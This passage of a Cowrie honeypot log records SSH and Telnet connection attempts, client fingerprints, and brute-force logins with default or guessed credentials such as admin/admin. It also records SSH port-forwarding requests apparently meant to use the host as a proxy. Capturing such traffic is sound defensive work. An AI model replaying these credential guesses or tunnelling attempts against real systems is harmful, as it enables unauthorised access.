":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:37:40.778478Z","src_ip":"45.147.249.81","session":"9db2afc46a5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"a","message":"login attempt [newuser/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:37:41.100551Z","src_ip":"45.147.249.81","session":"9db2afc46a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:37:42.179678Z","src_ip":"45.147.249.81","session":"9db2afc46a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.36754035949707,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:01.936879Z","src_ip":"135.148.14.151","session":"de1dfdebbb07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49360,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a352114c4ff","protocol":"ssh","message":"New connection: 45.148.10.121:49360 (159.203.135.109:22) [session: 4a352114c4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:22.705685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:22.711610Z","src_ip":"45.148.10.121","session":"4a352114c4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:22.799892Z","src_ip":"45.148.10.121","session":"4a352114c4ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.067708Z","src_ip":"45.148.10.121","session":"4a352114c4ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.186592Z","session":"4a352114c4ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.335212Z","src_ip":"45.148.10.121","session":"4a352114c4ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.339156Z","src_ip":"45.148.10.121","session":"4a352114c4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.460037Z","src_ip":"45.148.10.121","session":"4a352114c4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49366,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cda9bae32d7","protocol":"ssh","message":"New connection: 45.148.10.121:49366 (159.203.135.109:22) [session: 9cda9bae32d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.540699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.545937Z","src_ip":"45.148.10.121","session":"9cda9bae32d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.630558Z","src_ip":"45.148.10.121","session":"9cda9bae32d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:23.927603Z","src_ip":"45.148.10.121","session":"9cda9bae32d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:24.029736Z","session":"9cda9bae32d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:24.172683Z","src_ip":"45.148.10.121","session":"9cda9bae32d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:24.176846Z","src_ip":"45.148.10.121","session":"9cda9bae32d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:24.265105Z","src_ip":"45.148.10.121","session":"9cda9bae32d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34464,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1894ecd7669","protocol":"ssh","message":"New connection: 103.82.132.16:34464 (10.17.0.5:22) [session: b1894ecd7669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:47.697507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:47.702337Z","src_ip":"103.82.132.16","session":"b1894ecd7669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:47.958746Z","src_ip":"103.82.132.16","session":"b1894ecd7669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25121986","message":"login attempt [root/25121986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:48.716126Z","src_ip":"103.82.132.16","session":"b1894ecd7669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:49.970949Z","src_ip":"103.82.132.16","session":"b1894ecd7669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51976,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f7010a77a21","protocol":"telnet","message":"New connection: 135.148.14.151:51976 (159.203.135.109:23) [session: 6f7010a77a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:52.411967Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":47500,"dst_ip":"159.203.135.109","dst_port":22,"session":"249146d2e990","protocol":"ssh","message":"New connection: 45.147.249.81:47500 (159.203.135.109:22) [session: 249146d2e990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:57.797151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:57.802154Z","src_ip":"45.147.249.81","session":"249146d2e990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:57.875121Z","src_ip":"45.147.249.81","session":"249146d2e990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:58.197525Z","src_ip":"45.147.249.81","session":"249146d2e990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:38:59.274042Z","src_ip":"45.147.249.81","session":"249146d2e990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56474,"dst_ip":"159.203.135.109","dst_port":23,"session":"806cbf050cf0","protocol":"telnet","message":"New connection: 135.148.14.151:56474 (159.203.135.109:23) [session: 806cbf050cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:04.650777Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35834,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a7d7152dd2c","protocol":"telnet","message":"New connection: 135.148.14.151:35834 (159.203.135.109:23) [session: 8a7d7152dd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:19.254763Z"}
{"eventid":"cowrie.session.closed","duration":34.828023195266724,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:27.239886Z","src_ip":"135.148.14.151","session":"6f7010a77a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42604,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aac34fe54b9","protocol":"telnet","message":"New connection: 135.148.14.151:42604 (159.203.135.109:23) [session: 4aac34fe54b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:38.902574Z"}
{"eventid":"cowrie.session.closed","duration":35.093217849731445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:39.743846Z","src_ip":"135.148.14.151","session":"806cbf050cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54500,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab4f5c4cbd5a","protocol":"ssh","message":"New connection: 103.172.78.219:54500 (159.203.135.109:22) [session: ab4f5c4cbd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:57.816636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:57.821486Z","src_ip":"103.172.78.219","session":"ab4f5c4cbd5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:58.069053Z","src_ip":"103.172.78.219","session":"ab4f5c4cbd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.83483648300171,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:58.089465Z","src_ip":"135.148.14.151","session":"8a7d7152dd2c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"patrick1","message":"login attempt [root/patrick1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:39:58.814363Z","src_ip":"103.172.78.219","session":"ab4f5c4cbd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:00.067676Z","src_ip":"103.172.78.219","session":"ab4f5c4cbd5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43422,"dst_ip":"10.17.0.5","dst_port":22,"session":"737327db1521","protocol":"ssh","message":"New connection: 87.251.64.176:43422 (10.17.0.5:22) [session: 737327db1521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:01.868205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:01.873450Z","src_ip":"87.251.64.176","session":"737327db1521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:01.968211Z","src_ip":"87.251.64.176","session":"737327db1521","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:02.250878Z","src_ip":"87.251.64.176","session":"737327db1521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:02.352337Z","session":"737327db1521","protocol":"ssh"}
